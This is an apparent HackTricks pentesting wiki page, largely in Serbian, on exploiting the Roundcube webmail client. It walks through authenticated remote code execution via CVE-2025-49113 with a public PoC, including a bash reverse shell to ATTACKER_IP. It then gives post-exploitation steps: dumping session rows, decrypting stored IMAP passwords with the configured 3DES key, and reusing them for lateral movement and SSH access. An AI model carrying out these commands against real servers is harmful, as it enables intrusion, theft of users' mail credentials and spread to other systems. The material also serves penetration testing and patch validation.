Roundcube
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
Roundcube je PHP webmail klijent koji se često izlaže na HTTP(S) vhostovima (npr., mail.example.tld). Korisni fingerprints:
- HTML source često leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
- Podrazumevana putanja aplikacije u containers/VMs: /var/www/html/roundcube
- Glavna konfiguracija: config/config.inc.php
Autentifikovani RCE via PHP object deserialization (CVE-2025-49113)
Pogođene verzije (prema vendor/NVD):
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
Kratak opis buga
- Parametar _from u program/actions/settings/upload.php nije validiran, što omogućava injektovanje podataka koje kontroliše napadač, koje Roundcube kasnije unserializes, što dovodi do gadget chain execution i remote code execution u web kontekstu (post‑auth).
Brza eksploatacija
- Zahtevi: važeći Roundcube kredencijali i dostupna UI URL (npr., http://mail.target.tld)
- Javni PoC automatizuje session handling, gadget crafting i upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
Beleške
- Izlaz je često blind; koristi sleep N da potvrdiš RCE
- Dobijeni shell obično radi kao www-data; u kontejnerizovanim deploymentima očekuj /.dockerenv i 172.17.0.0/16 umrežavanje
Post‑exploitation: oporavi IMAP lozinke iz Roundcube sesija
Roundcube čuva IMAP lozinku trenutnog korisnika u session (database) šifrovanu na serverskoj strani 3DES ključem konfigurisanom u config.inc.php. Sa pristupom filesystemu ili DB na Roundcube hostu možeš oporaviti plaintext lozinke i pivotirati u druge mailbokse/servise (SSH reuse je čest).
- Pročitaj DB DSN i 3DES ključ iz config
config/config.inc.php typically contains:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- Povežite se na DB i dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
Polje session.vars je Base64 blob koji proizvodi Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). Prvih 8 bajtova nakon Base64‑decoding-a su IV.
- Pronađite password polje
Brz način da uočite credential unutar dekriptovane strukture je da prvo Base64‑decode‑ujete vars field i vizuelno pregledate serialized entries:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Dešifrujte pomoću Roundcube-ovog pomoćnika
Roundcube dolazi sa CLI-jem koji koristi istu rcmail->decrypt() logiku i konfigurisani des_key:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- Ručno 3DES-CBC dešifrovanje (opciono)
- Format šifrovanog teksta: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, dužina ključa 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
Uobičajene lokacije
- DB table: session (users table mapira login imena na ID-jeve)
- Putanja konfiguracije: /var/www/html/roundcube/config/config.inc.php
Operativna upotreba
- Stariji redovi u tabeli session često sadrže IMAP lozinke prethodnih korisnika; decrypt više unosa da biste laterally move u druge poštanske sandučiće
- Proverite pronađene credentials protiv SSH ili drugih servisa ako se sumnja na credential reuse
Reference
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

